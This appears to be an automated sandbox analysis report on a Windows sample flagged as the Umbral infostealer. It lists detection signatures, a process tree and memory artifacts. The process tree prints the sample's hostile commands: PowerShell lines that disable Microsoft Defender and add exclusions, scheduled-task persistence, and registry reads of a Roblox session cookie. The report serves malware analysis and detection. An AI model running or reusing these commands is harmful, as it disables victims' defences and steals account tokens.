Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 10:32

General

  • Target
    2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe
  • Size 458KB
  • Sample260707-mlafmsfz3x
  • SHA256 122f5bc70d9e30ba337a88831c5f69160544cfd4dc371f3cd6d3fc0099f5a055
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects Umbral payload 2 IoCs
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables attemping to enumerate video devices using WMI 1 IoCs
  • Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Detects executables containing possible sandbox analysis VM names 1 IoCs
  • Detects executables containing possible sandbox analysis VM usernames 1 IoCs
  • Detects executables containing possible sandbox system UUIDs 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables using Telegram Chat Bot 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Disables automatic submission of suspicious files to Microsoft by Windows Defender
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3344
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /tn "ZskXdMih" /tr "\"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe\"" /sc onlogon /rl highest /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5860
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /tn "ZskXdMih_svc" /tr "\"C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe\"" /sc minute /mo 5 /rl highest /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5728
  • C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_53cf5cae7f69f88c2c82eb0c1e7882f4_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
      PID:1396
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4520

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 952B
          • SHA256 2df1bc94100fd35abb644b23359b68d59abd089250ff548a54547e53e4de3305
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 6dee3f4a4ac1034163e509db3b4e97e7e671e18ad6798571fbb620ecd01af27d
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_somxwk1j.xke.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_somxwk1j.xke.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/2576-1-0x00007FFB4635F000-0x00007FFB46360000-memory.dmp

          memory/2576-48-0x0000028A5FBC0000-0x0000028A5FBD2000-memory.dmp

          memory/2576-47-0x0000028A5FB90000-0x0000028A5FB9A000-memory.dmp

          memory/2576-44-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/2576-53-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/2576-3-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/2576-2-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/2576-35-0x0000028A5FA60000-0x0000028A5FA7E000-memory.dmp

          memory/2576-34-0x0000028A5FBE0000-0x0000028A5FC30000-memory.dmp

          memory/2576-33-0x0000028A78350000-0x0000028A783C6000-memory.dmp

          memory/2576-32-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/2576-0-0x0000028A5DBD0000-0x0000028A5DC48000-memory.dmp

          memory/3132-12-0x0000025BA2A00000-0x0000025BA2AB2000-memory.dmp

          memory/3132-18-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-22-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-23-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-24-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-25-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-27-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-20-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-19-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-21-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-17-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-16-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-15-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-14-0x0000025BA27C0000-0x0000025BA27CA000-memory.dmp

          memory/3132-11-0x0000025BA29E0000-0x0000025BA29FE000-memory.dmp

          memory/3132-13-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-8-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-7-0x00007FFB461D0000-0x00007FFB46B74000-memory.dmp

          memory/3132-6-0x0000025BA2700000-0x0000025BA2722000-memory.dmp